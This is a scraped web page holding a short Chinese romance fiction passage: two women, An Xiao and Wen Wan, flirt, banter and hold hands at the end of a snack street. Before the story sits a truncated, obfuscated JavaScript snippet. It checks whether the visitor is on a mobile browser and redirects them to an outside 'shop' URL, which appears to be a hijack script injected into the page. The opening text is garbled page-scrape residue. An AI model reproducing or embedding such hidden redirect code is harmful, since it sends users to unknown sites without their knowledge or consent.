d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309324|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你能待到什么时候?”温婉的声音稍微有些低沉。 “下个周三。”安晓转过身,倒着走,直视着对方的眼睛,“所以,你要来吗?” “从什么时候笃定我会去?”温婉拉住安晓的衣角,轻轻把她扶正,“别倒着走,危险。” “从来没有笃定过。”她的回答声轻得像一片羽毛,在空中打了个旋儿,然后又落到了温婉的耳畔。 “哦?那怎么又敢同我约会了?” “因为,”安晓长长地叹了一口气,“荷尔蒙是挡不住的,它从来不以人的意志为转移。” 她们快到小吃街的尽头了,眼前的行人愈来愈少,灯光从明亮转为暖黄。 “所以现在同我说话的,是理智的安老师,还是不理智的安晓?”温婉上前捏了捏对方的掌心。安晓的手很小,是婆婆嘴里的、可以抓元宝的聚财手。 “可以牵手吗?” “嗯?” “现在在问你的是不理智的安晓。” 两只温热的手掌交叠在一起,安晓的手心干燥。她把胳膊一甩一甩,像极了小学生的哥俩好。 “那理智的安老师呢?” “会觉得进展太快了,我们不了解对方,会问是不是太晚了,要不要回家。” “安老师真死板。约会不能牵手吗?” “你会觉得太快了吗?”安晓反问。 “我们认识一年半了,安老师!” 安晓不说话,只盯着她笑。 “所以现在……要回家了吗,温老师?”